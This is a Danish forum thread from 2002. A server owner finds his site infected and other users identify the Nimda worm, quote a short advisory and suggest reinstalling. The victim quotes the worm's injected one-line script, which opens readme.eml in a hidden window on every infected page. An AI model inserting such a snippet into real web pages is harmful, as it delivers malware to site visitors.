Avatar billede ducks Nybegynder
10. november 2002 - 21:46 Der er 22 kommentarer og
3 løsninger

Er min server/hp blevet hacket, evt. af en spasser i brazilien :O

Min server begyndte lige pludselig at arbejde helt vildt, så jeg skyndte mig at hive netkablet ud for at finde ud af hvad der skete, har så nu opdaget at der ligger en fil i alle de mapper hvor der en fil som hedder default.asp, filen hedder: readme.eml
På min anden HD er der blevet placeret en fil der hedder: httpodbc.dll
Hvad skal jeg gøre???????
Og hvad kan jeg gøre for at undgå det i fremtiden???
Avatar billede ducks Nybegynder
10. november 2002 - 21:48 #1
og der bliver tilføjet noget kode i alle mine filer på hpen

<html><script language="JavaScript">window.open("readme.eml", null, "resizable=no,top=6000,left=6000")</script></html>
Avatar billede cdc Novice
10. november 2002 - 21:50 #2
det er nimda virus du har fået mener jeg
Avatar billede fido82 Nybegynder
10. november 2002 - 21:51 #3
ja, det er virus ;O) Har selv haft den på en gammel 2000 maskine ;) Et helvede at komme af med den igen
Avatar billede fido82 Nybegynder
10. november 2002 - 21:51 #4
svar
Avatar billede cdc Novice
10. november 2002 - 21:52 #5
Avatar billede ducks Nybegynder
10. november 2002 - 21:52 #6
men hvordan kommer jeg af med den?????
Avatar billede fido82 Nybegynder
10. november 2002 - 21:54 #7
11.5.2001 - W32.Nimda.E@mm High Risk.
A new variant of the Nimda virus has been discovered on campus. The following changes have been noted from the original:


The email attachment is now Sample.exe
The dropped .dll file is now Httpodbc.dll
The worm now copies itself to the \Windows\System folder as Csrss.exe instead of Mmc.exe
Avatar billede fido82 Nybegynder
10. november 2002 - 21:54 #8
Avatar billede fido82 Nybegynder
10. november 2002 - 21:54 #9
ellers, kig selv her, lidt over midten på siden:
http://www.fredonia.edu/resnet/virus.html
Avatar billede ducks Nybegynder
10. november 2002 - 21:55 #10
dvs. jeg skal lave den hp jeg nu har brugt en måned på, forfra, og alt mit backup på serveren skal slettes?
Avatar billede mbg1333 Nybegynder
10. november 2002 - 21:55 #11
Jeg har selv haft den.. jeg opgav til sidst.. den var umulig at komme af med!

Min løsning blev en formatering. Heldigvis havde jeg lige lavet backup så der blev ikke tabt det store.
Avatar billede fido82 Nybegynder
10. november 2002 - 21:55 #12
Avatar billede Slettet bruger
10. november 2002 - 21:56 #13
ducks hedder du Steen?
Avatar billede ducks Nybegynder
10. november 2002 - 21:56 #14
nej Emil
Avatar billede perj Nybegynder
10. november 2002 - 21:57 #15
Avatar billede Slettet bruger
10. november 2002 - 21:57 #16
hm oki, modtog nemlig netop en nimda virus pr. email fra en Steen.
Avatar billede cdc Novice
10. november 2002 - 21:58 #17
Avatar billede cdc Novice
10. november 2002 - 21:58 #18
Avatar billede ducks Nybegynder
10. november 2002 - 22:00 #19
schulze > selv så irriteret over den, at jeg ikke ville vidersende den til nogen - og hvis jeg fandt *********** der har lavet den ville han ikke leve mange sekunder mere......... >D
Avatar billede Slettet bruger
10. november 2002 - 22:02 #20
Nå nej det var ikke derfor, jeg har modtaget en virus fra en Steen Bent et eller andet, men jeg kan ikke se afsenderen kun hans ip adresse.
Og jeg ville da gerne gøre ham opmærksom på at han har Nimda.
Avatar billede perj Nybegynder
10. november 2002 - 22:02 #21
Du har vel lukket din server ned så den ikke "smitter"...
Avatar billede ducks Nybegynder
10. november 2002 - 22:05 #22
perj, for sent :( opdagede det først da den var kommet på alle 3 computere :'(
Avatar billede ducks Nybegynder
10. november 2002 - 22:11 #23
den fil sletter vidst alle de skadelige filer, om det så er nok ved jeg ikke?
Avatar billede aovergaard Nybegynder
11. november 2002 - 17:31 #24
Jeg ligger inde med et fix nimda som jeg selv har brugt for længe siden, og som virkede. Send din mailadresse og jeg skal sende programmet til dig
Avatar billede aovergaard Nybegynder
11. november 2002 - 17:35 #25
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester